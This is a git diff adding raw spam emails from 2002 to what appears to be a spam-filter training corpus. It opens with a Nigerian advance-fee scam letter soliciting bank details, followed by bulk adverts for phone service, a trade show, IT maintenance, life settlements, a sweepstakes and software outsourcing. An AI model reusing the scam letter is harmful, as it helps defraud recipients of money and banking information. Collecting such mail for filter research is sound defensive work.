2002 03:25:36 +To: yyyy@spamassassin.taint.org +Subject: BUSINESS ASSISTANCE +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + +Dear Sir. + +First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. all though i know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day.we have decided to contact you due to the urgency of this transaction, let me start by introducing myself properly to you. + +I am the Manager Bills and Exchange of Foreign Remittance Department of Union Bank of NIgeria (U.B.N. Headquarters Lagos Nigeria) formally Union Bank of Switzerland(UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$7. 5 million(Seven Million Five Hundred Thousand United States Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development, we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim.To this effect, I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money. + +We need !a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every document to be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10% for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. + +If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS.I await your immediate reply to enable us start this transaction in earnest.Once I receive your reply, I will send you the Text of application for immediate application of Claim. + +Yours faithfully, + +DR MARKUS PHILLIPS. + + diff --git a/bayes/spamham/spam_2/00195.aeb47d08c2d537c24ada260804b7a171 b/bayes/spamham/spam_2/00195.aeb47d08c2d537c24ada260804b7a171 new file mode 100644 index 0000000..d14cc8c --- /dev/null +++ b/bayes/spamham/spam_2/00195.aeb47d08c2d537c24ada260804b7a171 @@ -0,0 +1,31 @@ +From davida@miramax.com Mon Jun 24 17:45:50 2002 +Return-Path: davida@miramax.com +Delivery-Date: Fri Apr 12 22:15:31 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3CLFU624605 for + ; Fri, 12 Apr 2002 22:15:31 +0100 +Received: from 211.250.208.194 ([211.250.208.194]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g3CLFMD27461 for + ; Fri, 12 Apr 2002 22:15:23 +0100 +Message-Id: <200204122115.g3CLFMD27461@mandark.labs.netnoteinc.com> +From: Davida +To: Undisclosed.Recipients@mandark.labs.netnoteinc.com +Cc: +Subject: Movie Project +Sender: Davida +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 12 Apr 2002 22:17:17 +0100 +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +X-Status: +X-Keywords: + +Hi Steph + + +I have found the talent that you are looking for, check out www.piercebrosnanlookalike.com +I found it last nite, he will be ideal for the movie, we should audition him next week. + +Let's do lunch next week call me. + +Davida diff --git a/bayes/spamham/spam_2/00196.2e07e36c1285ba9187f8168c77d813f7 b/bayes/spamham/spam_2/00196.2e07e36c1285ba9187f8168c77d813f7 new file mode 100644 index 0000000..a3951d4 --- /dev/null +++ b/bayes/spamham/spam_2/00196.2e07e36c1285ba9187f8168c77d813f7 @@ -0,0 +1,52 @@ +From gintare@netzero.net Mon Jun 24 17:45:52 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sat Apr 13 05:18:06 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g3D4I6613517 for ; Sat, 13 Apr 2002 05:18:06 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g3D4I4i22179; Sat, 13 Apr 2002 00:18:04 -0400 +Message-Id: <200204130418.g3D4I4i22179@host11.websitesource.com> +To: users@spamassassin.taint.org +From: Free Phone Calls! +Date: Sat, 13 Apr 2002 04:01:03 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: How Does Unlimited Free Calling Work? +Content-Type: text/plain +X-Status: +X-Keywords: + + + +Flat-Rate Unlimited Domestic Calling? + +How does it work? + +>From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? + +* What are the limits? + +The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. If you register as a residence and it is determined that the service has been used as a business we cannot continue to offer you the service. + +What's the price? + +The price of the service is determined by the available access number. With a local access number the residential service is $43.00. If we only offer toll free (800) access in your area then residential service is $63.00. No hidden fees, just one low monthly rate billed to your credit card or drafted from your bank account. + +What calling charges are covered? + +This service will eliminate any per minute charges for: In-state and State-to-state long distance It's all included... + +One Low Monthly Flat Rate for Unlimited Calling and 0 cents per minute!! + +To purchase this product, click on: + +http://www.internationalfreecall.com + +To take a 60 minute trial of this product, send your phone number to: + +8228519@archwireless.net + +To remove yourself from this mailing list, click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1543 diff --git a/bayes/spamham/spam_2/00197.d77321043295f3683060dcb2bdb8b822 b/bayes/spamham/spam_2/00197.d77321043295f3683060dcb2bdb8b822 new file mode 100644 index 0000000..f890d55 --- /dev/null +++ b/bayes/spamham/spam_2/00197.d77321043295f3683060dcb2bdb8b822 @@ -0,0 +1,52 @@ +From gintare@netzero.net Mon Jun 24 17:45:53 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sat Apr 13 05:20:23 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g3D4KM613702 for ; Sat, 13 Apr 2002 05:20:22 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g3D4KLO22997; Sat, 13 Apr 2002 00:20:21 -0400 +Message-Id: <200204130420.g3D4KLO22997@host11.websitesource.com> +To: yyyy@spamassassin.taint.org +From: Free Phone Calls! +Date: Sat, 13 Apr 2002 04:01:03 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: How Does Unlimited Free Calling Work? +Content-Type: text/plain +X-Status: +X-Keywords: + + + +Flat-Rate Unlimited Domestic Calling? + +How does it work? + +>From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? + +* What are the limits? + +The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. If you register as a residence and it is determined that the service has been used as a business we cannot continue to offer you the service. + +What's the price? + +The price of the service is determined by the available access number. With a local access number the residential service is $43.00. If we only offer toll free (800) access in your area then residential service is $63.00. No hidden fees, just one low monthly rate billed to your credit card or drafted from your bank account. + +What calling charges are covered? + +This service will eliminate any per minute charges for: In-state and State-to-state long distance It's all included... + +One Low Monthly Flat Rate for Unlimited Calling and 0 cents per minute!! + +To purchase this product, click on: + +http://www.internationalfreecall.com + +To take a 60 minute trial of this product, send your phone number to: + +8228519@archwireless.net + +To remove yourself from this mailing list, click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1676 diff --git a/bayes/spamham/spam_2/00198.150ad975a44e356b479b88d8b57edc40 b/bayes/spamham/spam_2/00198.150ad975a44e356b479b88d8b57edc40 new file mode 100644 index 0000000..ef0f17b --- /dev/null +++ b/bayes/spamham/spam_2/00198.150ad975a44e356b479b88d8b57edc40 @@ -0,0 +1,55 @@ +From gintare@netzero.net Mon Jun 24 17:45:53 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Sat Apr 13 05:20:32 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3D4KV613719 for + ; Sat, 13 Apr 2002 05:20:31 +0100 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP + id g3D4KOD28838 for ; Sat, 13 Apr 2002 05:20:25 +0100 +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g3D4KMa23014; Sat, 13 Apr 2002 00:20:22 -0400 +Message-Id: <200204130420.g3D4KMa23014@host11.websitesource.com> +To: yyyy@netnoteinc.com +From: Free Phone Calls! +Date: Sat, 13 Apr 2002 04:01:03 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: How Does Unlimited Free Calling Work? +Content-Type: text/plain +X-Status: +X-Keywords: + + + +Flat-Rate Unlimited Domestic Calling? + +How does it work? + +>From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? + +* What are the limits? + +The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. If you register as a residence and it is determined that the service has been used as a business we cannot continue to offer you the service. + +What's the price? + +The price of the service is determined by the available access number. With a local access number the residential service is $43.00. If we only offer toll free (800) access in your area then residential service is $63.00. No hidden fees, just one low monthly rate billed to your credit card or drafted from your bank account. + +What calling charges are covered? + +This service will eliminate any per minute charges for: In-state and State-to-state long distance It's all included... + +One Low Monthly Flat Rate for Unlimited Calling and 0 cents per minute!! + +To purchase this product, click on: + +http://www.internationalfreecall.com + +To take a 60 minute trial of this product, send your phone number to: + +8228519@archwireless.net + +To remove yourself from this mailing list, click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1680 diff --git a/bayes/spamham/spam_2/00199.3536ffa9d7e1b912f6fc649d779cfe5d b/bayes/spamham/spam_2/00199.3536ffa9d7e1b912f6fc649d779cfe5d new file mode 100644 index 0000000..fb19d36 --- /dev/null +++ b/bayes/spamham/spam_2/00199.3536ffa9d7e1b912f6fc649d779cfe5d @@ -0,0 +1,53 @@ +From floyd@streamlineb2b.net Mon Jun 24 17:45:54 2002 +Return-Path: floyd@streamlineb2b.net +Delivery-Date: Sat Apr 13 15:52:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3DEqq630695 for + ; Sat, 13 Apr 2002 15:52:56 +0100 +Received: from 192.168.0.20 ([217.165.52.87]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g3DEqjD30492 for + ; Sat, 13 Apr 2002 15:52:46 +0100 +Message-Id: <200204131452.g3DEqjD30492@mandark.labs.netnoteinc.com> +Date: Sat, 13 Apr 02 18:49:02 Arabian Standard Time +From: +To: yyyy@netnoteinc.com +Subject: The Hotel Show +Content-Type: text/plain; charset=us-ascii; +X-Status: +X-Keywords: + + +LAST CHANCE TO EXHIBIT AT + +The Hotel Show 2002 +20-22 May, 2002, Airport Expo Dubai, UAE + +With over 200 luxury hotels and resorts planned in the Middle East within the next 3-5 years, 'The Hotel Show' has established itself as the region's premier hospitality event for local & international companies wishing to meet directly with major players in the industry. + +Strong Industry Support + +'The Hotel Show' is owned by the UK's Daily Mail Group, one of the world's largest media conglomerates with 350 exhibitions worldwide, including Index and Big 5 in Dubai. + +Held annually at the Airport Expo Dubai, 'The Hotel Show' receives full industry support from regional hospitality-related official bodies and associations such as the Dubai Department of Tourism & Commerce Marketing and the Kuwait Hotel Owner's Association, aswell as governmental organisations such as the Department of Trade & Industry in the U.K who ranked the event as one of the top10 hospitality events around the world. + +The Hotel Show 2002 + +Managed by Streamline Marketing, one of the region's leading event organisers, the 2002 event will feature over 150 exhibitors from 20 countries, showcasing a variety of products & services from hi-tech reservations systems to bed linen, tableware and furniture. Sambonet, Siemens, Frette Spa, Micros Fidelio, Villeroy & Boch, Bose and Grundig are just some of the international companies that will use 'The Hotel Show' as a showcase for meeting major players in the industry & making professional contacts. + +Who can you expect to meet as an exhibitor? + +* Regional hotel management groups and owner associations + +* Major 4 & 5 star hotels, furnished apartments and resorts in the Middle East: represented by Owners, Investors, General Managers, Asst General Managers, Purchasing Managers, F&B Managers, IT Managers, Engineering Managers, Housekeepers, Finance Managers, Business Development Managers, Executive Chefs and Security Managers. + +* Middle East-based Architects, Consultants, Hotel Project Managers, Engineers, Contractors and Designers. + +With over 80% of exhibition space already contracted, time is running out! Should you require a list of exhibitors and a current floorplan, please contact the organisers immediately on 04-3329029 or laith@streamlineb2b.net + +Yours sincerely, + +Joanne Evans & Laith Kubba +Directors +Streamline Marketing + + diff --git a/bayes/spamham/spam_2/00200.2fcabc2b58baa0ebc051e3ea3dfafd8f b/bayes/spamham/spam_2/00200.2fcabc2b58baa0ebc051e3ea3dfafd8f new file mode 100644 index 0000000..0e12481 --- /dev/null +++ b/bayes/spamham/spam_2/00200.2fcabc2b58baa0ebc051e3ea3dfafd8f @@ -0,0 +1,957 @@ +From info@ipogea.com Mon Jun 24 17:46:35 2002 +Return-Path: info@ipogea.com +Delivery-Date: Thu Apr 18 22:22:36 2002 +Received: from smtp.ipogea.com (APastourelles-106-1-1-176.abo.wanadoo.fr + [80.11.176.176]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g3ILLw630826 for ; Thu, 18 Apr 2002 22:22:03 +0100 +Received: from Direction [192.168.123.20] by ipogea.com [127.0.0.1] with + SMTP (MDaemon.PRO.v5.0.5.R) for ; Thu, 18 Apr 2002 + 20:24:18 +0200 +Message-Id: <005401c1e706$0ecc13c0$147ba8c0@XG395.local> +From: "IPOGEA" +To: +Subject: Votre maintenance Informatique +Date: Thu, 18 Apr 2002 20:19:49 +0200 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +X-Mdremoteip: 192.168.123.20 +X-Return-Path: info@ipogea.com +X-Mdaemon-Deliver-To: yyyy-fm@spamassassin.taint.org +X-Status: +X-Keywords: +Content-Type: multipart/related; boundary="----=_NextPart_000_003F_01C1E716.64A6E300";type="multipart/alternative" + +C'est un message de format MIME en plusieurs parties. + +------=_NextPart_000_003F_01C1E716.64A6E300 +Content-Type: multipart/alternative; + boundary="----=_NextPart_001_0040_01C1E716.64A9F040" + + +------=_NextPart_001_0040_01C1E716.64A9F040 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Si vous ne souhaitez plus recevoir ce courrier, cliquez ici=20 + +=20 + + mars 2002 + + OUBLIEZ VOS PROBLEMES=20 + INFORMATIQUES DU QUOTIDIEN + =20 + Ordinateurs bloqu=E9s, Virus informatique, Perte de = +donn=E9es, Connexion=20 + Internet d=E9fectueuse, Imprimante d=E9configur=E9e, = +Serveur en panne .=20 + + Votre entreprise ne peut plus rester bloqu=E9e pendant = +plusieurs heures voire plusieurs jours.=20 + =20 + PROFITEZ D'UN INFORMATICIEN =20 + A TEMPS PARTAGE=20 + =20 + Votre sp=E9cialiste informatique IPOGEA vous rend = +visite plusieurs fois par mois et assure une maintenance adapt=E9e de = +votre syst=E8me informatique. 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(host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g3J0N7608242 for ; Fri, 19 Apr 2002 01:23:08 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Thu, 18 Apr 2002 20:23:12 -0400 +Subject: A Unique Dual Income Opportunity +To: +Date: Thu, 18 Apr 2002 20:23:12 -0400 +From: "VBI" +Message-Id: <19429701c1e738$6413f960$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Thread-Index: AcHnG7S5TlQlsoQ2TdSfvj/fVmX+QQ== +X-Mailer: Microsoft CDO for Windows 2000 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 19 Apr 2002 00:23:12.0820 (UTC) FILETIME=[6430F740:01C1E738] +X-Status: +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_16A521_01C1E6FA.2DA9A6B0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_16A521_01C1E6FA.2DA9A6B0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + Life Insurance Settlements: A unique dual-income opportunity + =09 +A Life Settlement is the sale of a life insurance policy=20 +that gives the policy owner a significant cash settlement. =09 + =09 + Earn substantial referral fees=0A= +Sell more product=0A= +Renewal Commissions of +Original Policy Stay Intact=0A= +A Value-Add to Your Existing Business=09 +DON'T CHANGE YOUR CURRENT WAY OF DOING BUSINESS +Turn your existing book into an additional income stream=20 +with very little effort. =09 + =09 +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 +Call or e-mail us today! + 800-871-9440 +or visit us online at: www.Life-Settlements-Online.com +=20 + =20 +We don't want anybody to receive our mailings who does not wish to +receive them. This is professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.Insurancemail.net +=20 + +Legal Notice =20 +=20 + +------=_NextPart_000_16A521_01C1E6FA.2DA9A6B0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +A Unique Dual Income Opportunity + + + + + =20 + + + =20 + + +
    =20 + 3D"Life=20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    + + A Life Settlement is = +the sale of a life insurance policy
    + that gives the policy owner a significant cash = +settlement.     +
    3D"Earn
    + + DON'T CHANGE YOUR CURRENT WAY OF = +DOING BUSINESS
    + Turn your existing book into an additional income = +stream
    + with very little effort.     +
    =20 + + =20 + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill out the form below for more = +information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +  
    + Call or e-mail us = +today!
    + 3D"800-871-9440"
    + or visit us online at: www.Life-Settlements-Onli= +ne.com
    +       +
    +
    =20 +

    We = +don't want anybody=20 + to receive our mailings who does not wish to receive them. This = +is professional=20 + communication sent to insurance professionals. To be removed = +from this=20 + mailing list, DO NOT REPLY to this message. Instead, go = +here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal=20 + Notice =20 +
    + + + + +------=_NextPart_000_16A521_01C1E6FA.2DA9A6B0-- diff --git a/bayes/spamham/spam_2/00202.e57a96cc553ecba5064d023695a0f385 b/bayes/spamham/spam_2/00202.e57a96cc553ecba5064d023695a0f385 new file mode 100644 index 0000000..cb235bf --- /dev/null +++ b/bayes/spamham/spam_2/00202.e57a96cc553ecba5064d023695a0f385 @@ -0,0 +1,58 @@ +From Offers@allbestcheapstuff.com Mon Jun 24 17:46:40 2002 +Return-Path: Offers@allbestcheapstuff.com +Delivery-Date: Sat Apr 20 03:49:59 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3K2nw606890 for + ; Sat, 20 Apr 2002 03:49:58 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g3K2nqD06499 for + ; Sat, 20 Apr 2002 03:49:52 +0100 +Received: from Aster25 ([66.107.105.25]) by webnote.net (8.9.3/8.9.3) with + SMTP id DAA04116 for ; Sat, 20 Apr 2002 03:49:51 +0100 +Message-Id: <200204200249.DAA04116@webnote.net> +From: "Offers" +To: +Subject: Your approval is needed +Sender: "Offers" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 19 Apr 2002 22:58:02 -0400 +X-Status: +X-Keywords: + + + +************************************************ + $25,000 CASH GIVEAWAY! +************************************************ + +Dear jm@netnoteinc.com, + +You're receiving this email because you are registered +in the BESTCHEAPSTUFF.COM www.bestcheapstuff.com +customer base. If you would prefer not to receive our mailings, +please click on the Unsubscribe link below. + +Subscribe to our newsletter by clicking the confirmation +link: http://www.bestcheapstuff.com/cgi-bin/confirm_sub.cgi?name=yyyy@netnoteinc.com +and you will receive the latest information on SPECIAL DEALS, FREE +VACATION GIVEAWAYS, FREE PRODUCTS, and +other valuable Promotions from BestCheapStuff.com ! + +Along with your subscription, you will be automatically +entered into our CASH SWEEPSTAKES for $25,000 +in June 2002. + +CLICK here http://www.bestcheapstuff.com/cgi-bin/confirm_sub.cgi?name=jm@netnoteinc.com +to confirm your subscription and to ENTER our +CASH GIVEAWAY for June 2002. + +**By Not taking any of the above actions you will be deleted from our +mailing list within 30 days.** + +Thank you for your cooperation. +************************************************ +If you prefer not to enter our sweepstakes or get the latest +news on FREE GIVEAWAYS, please click here: +http://www.bestcheapstuff.com/cgi-bin/unsub.cgi?name=jm@netnoteinc.com +We will promptly remove your email from our mailing list. diff --git a/bayes/spamham/spam_2/00203.5d5cdf03bd9362584adaf6be372d0ba1 b/bayes/spamham/spam_2/00203.5d5cdf03bd9362584adaf6be372d0ba1 new file mode 100644 index 0000000..a86d625 --- /dev/null +++ b/bayes/spamham/spam_2/00203.5d5cdf03bd9362584adaf6be372d0ba1 @@ -0,0 +1,56 @@ +From Offers@allbestcheapstuff.com Mon Jun 24 17:46:41 2002 +Return-Path: Offers@allbestcheapstuff.com +Delivery-Date: Sat Apr 20 03:50:11 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3K2oB606903 for + ; Sat, 20 Apr 2002 03:50:11 +0100 +Received: from Aster25 ([66.107.105.25]) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with SMTP id g3K2o5D06504 for ; + Sat, 20 Apr 2002 03:50:05 +0100 +Message-Id: <200204200250.g3K2o5D06504@mandark.labs.netnoteinc.com> +From: "Offers" +To: +Subject: Your approval is needed +Sender: "Offers" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 19 Apr 2002 22:58:17 -0400 +X-Status: +X-Keywords: + + + +************************************************ + $25,000 CASH GIVEAWAY! +************************************************ + +Dear jm@netnoteinc.com, + +You're receiving this email because you are registered +in the BESTCHEAPSTUFF.COM www.bestcheapstuff.com +customer base. If you would prefer not to receive our mailings, +please click on the Unsubscribe link below. + +Subscribe to our newsletter by clicking the confirmation +link: http://www.bestcheapstuff.com/cgi-bin/confirm_sub.cgi?name=yyyy@netnoteinc.com +and you will receive the latest information on SPECIAL DEALS, FREE +VACATION GIVEAWAYS, FREE PRODUCTS, and +other valuable Promotions from BestCheapStuff.com ! + +Along with your subscription, you will be automatically +entered into our CASH SWEEPSTAKES for $25,000 +in June 2002. + +CLICK here http://www.bestcheapstuff.com/cgi-bin/confirm_sub.cgi?name=jm@netnoteinc.com +to confirm your subscription and to ENTER our +CASH GIVEAWAY for June 2002. + +**By Not taking any of the above actions you will be deleted from our +mailing list within 30 days.** + +Thank you for your cooperation. +************************************************ +If you prefer not to enter our sweepstakes or get the latest +news on FREE GIVEAWAYS, please click here: +http://www.bestcheapstuff.com/cgi-bin/unsub.cgi?name=jm@netnoteinc.com +We will promptly remove your email from our mailing list. diff --git a/bayes/spamham/spam_2/00204.4cf15f97b8ea08bfafab7d5091b8fbe7 b/bayes/spamham/spam_2/00204.4cf15f97b8ea08bfafab7d5091b8fbe7 new file mode 100644 index 0000000..98f2d8c --- /dev/null +++ b/bayes/spamham/spam_2/00204.4cf15f97b8ea08bfafab7d5091b8fbe7 @@ -0,0 +1,276 @@ +From iqsoftware@export2000.ro Mon Jun 24 17:46:46 2002 +Return-Path: avfs-admin@fazekas.hu +Delivery-Date: Sun Apr 21 18:26:13 2002 +Received: from csibe.fazekas.hu (postfix@csibe.fazekas.hu [195.199.63.65]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g3LHPY617326 for + ; Sun, 21 Apr 2002 18:25:35 +0100 +Received: by csibe.fazekas.hu (Postfix, from userid 99) id A8687FFE7; + Sun, 21 Apr 2002 19:25:19 +0200 (CEST) +Received: from csibe.fazekas.hu (localhost [127.0.0.1]) by + csibe.fazekas.hu (Postfix) with ESMTP id 225BF2F2EF; Sun, 21 Apr 2002 + 19:25:02 +0200 (CEST) +Delivered-To: avfs@fazekas.hu +Received: by csibe.fazekas.hu (Postfix, from userid 99) id 9098EFCC9; + Sun, 21 Apr 2002 19:24:53 +0200 (CEST) +Received: from server.export2000.ro (unknown [194.176.186.33]) by + csibe.fazekas.hu (Postfix) with ESMTP id 0E1B02F239 for ; + Sun, 21 Apr 2002 19:24:39 +0200 (CEST) +Received: from cosmin (ppp-lnk01.gigishor.de [192.168.0.12] (may be + forged)) by server.export2000.ro (8.9.3/8.9.3) with SMTP id UAA06931 for + avfs@fazekas.hu; Sun, 21 Apr 2002 20:19:14 +0300 +From: iqsoftware@export2000.ro +To: avfs@fazekas.hu +Message-Id: +Content-Type: TEXT/PLAIN charset=US-ASCII +Subject: [Avfs] Romanian Software Production & Export +Sender: avfs-admin@fazekas.hu +Errors-To: avfs-admin@fazekas.hu +X-Beenthere: avfs@csibe.fazekas.hu +X-Mailman-Version: 2.0.3 +Precedence: bulk +Reply-To: avfs@fazekas.hu +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +Date: Sun, 21 Apr 2002 20:19:14 +0300 +X-Keywords: + + +To: avfs@fazekas.hu +Attn: Marketing Department +From: I.Q. Software - Bucharest +Ref.: Romanian Software Production & Export + +------------------------------------------------------------------------ + Our anti-spamming company policy: + NEVER BOTHER YOU AGAIN + + To remove your E-mail address from the present + contact list JUST DO NOT REPLY to this message. + + If you receive this message by mistake and/or you are not interested + in the following brief presentation, please accept our apologies. + +This is a world-wide promotion campaign. The selected E-mail addresses +are extracted only FROM THE COMMERCIAL WEBSITES of the targeted markets. +------------------------------------------------------------------------ + +We would like to offer you for consideration our brief presentation. + We are looking for a marketplace in your country. + + To communicate with us please reply using + the plain text format in the body of the message + + >>> mentioning your Specific Inquiry/Offering Demand <<< + + and your detailed contact information: + +>>> company name, address, phone & fax numbers, contact person. <<< + + Simple replies and advertisements will not be considered. + We do not open any PC applications. + +If you answer to this message, we will contact you every 3 months in +order to update our partners service database. Thank you for your time. + +Best regards, +I.Q. Software Staff + + + Dear customer, + +Please be so kind and review our Software Production export offer bellow: + + BRIEF EXPORT PROPOSAL + +Our area of interest is quality Software Production +export at the lowest prices. + +The capabilities and references listed bellow show the advantages +obtained by the institutions we worked for. + +WE WOULD LIKE YOU TO SEND US YOUR SPECIFIC INQUIRY/OFFERING DEMAND. + +This will give us the chance to prove our efficiency. + +Our company's name is I.Q. Software from Bucharest, and we are +one of the most important Romanian software companies. + +The intense and almost exclusive cooperation with other +foreign companies allowed us to increase our structure +by developing new projects and systems. + +>From the begining we addressed to private companies +as well as to public administration. + +Our projects were born in Italy, but afterwards they grew +and shaped in Romania due to the high professionalism +and commitment of the team that worked to bring to end +these daring projects. + +Our success was posible due to the excellent teamwork, +access to the latest high performace software and last +but not the least to the low prices for production process +on Romanian market. + +That is why we can confirm that the products we offer you +are the most convenient on international market +considering the high level of quality. + +Here are the best examples of our abilities to meet +the clients needs on the specific task on there main areas: + + - software development; + - man-power; + - data-entry; + - mapdrawing; + - outsourcing. + +******************************************************** + +* So that you would be able to have an idea of our skills + we present you some of our current projects: + +The Situs System (Informative of Tribunals Bureaus of Supervision) +was realized for informative administration of activities typical +for Tribunals and Bureaus of Supervision for MINISTRY OF JUSTICE -ITALY +(Microsoft Visual Basic 6.0, DataBase: Oracle 8.0). + +The ICE System foresaw the resigtering of the Italian-Romanian companies +on Romanian territory. The application is constituted by a browser which +allows the navigation and provides some additional skills, advanced search +on varied criterious which are created in a dynamic way by the user +(VisualBasic 6.0, DataBase: Access 97). + +Museum -the main request from the museum was to handle (multimedia) +documents in specific formats on different operating system and platforms +( C++, HTML, CORBA IDL, ORB: Orbacus). + +Library (National Library of FIRENZE)- Informatical system for managing +and labeling the ancient bibliographical materials +(Power Builder, DataBase: Oracle). + +Interflora - Communication and management system; consists in some +applications and services which allows the communication between +the flowerist man from Italy and International Association of Flowerists +(Visual Basic 6.0). + +Audit Office - The realization of a porting which foresaw 16 bit controls +for substitution with 32 bit controls, introduction of new ActiveX controls, +substitution of FORMULA 1 with native controls of VISUAL BASIC 6.0. + +UNICO - The program foresaw the possibility of acquisition from images +of more than 60 models of UNICO and IVA +(fiscal declarations) - (Delphi 4.0. DataBase:SQL). + +MINISTRY OF FINANCE - FISCAL DOCUMENTATION -The objective is +the easy access to the Italian legislation and its consulting. +The application based on a client/server architecture, using a network +communication (SOCKETS) for data exchange with the server (Visual C++). + +FOREIGN MINISTRY - ECONOMICAL APPLICATION - +This application is conceived as a group of projects. + ADMINISTRATION + BALANCE-SHEETS + DISPOSITIONS OF PAYMENT + FOREIGN EXPENSES + SYNTHETICALLY DATES + SERVERS +(Visual Basic 6.0, DataBase: SQL Server 7.0) + +SOGEI - THE ADMINISTRATION OF THE CUSTOM HOUSES. +This application is created for the financial administration of the +peripherical offices at the customhouse (Java, HTML, DataBase: Oracle 8.0). + +ICCREA - Application of processing development of the +bank-procedures on mainframe(COBOL/CICS/DB2). + +TELECOM - Microfilm Data Acquisition. +Registering numbers and subscribers. + +ANAGRAFICA - Acquisition from images of dates and personal information. + 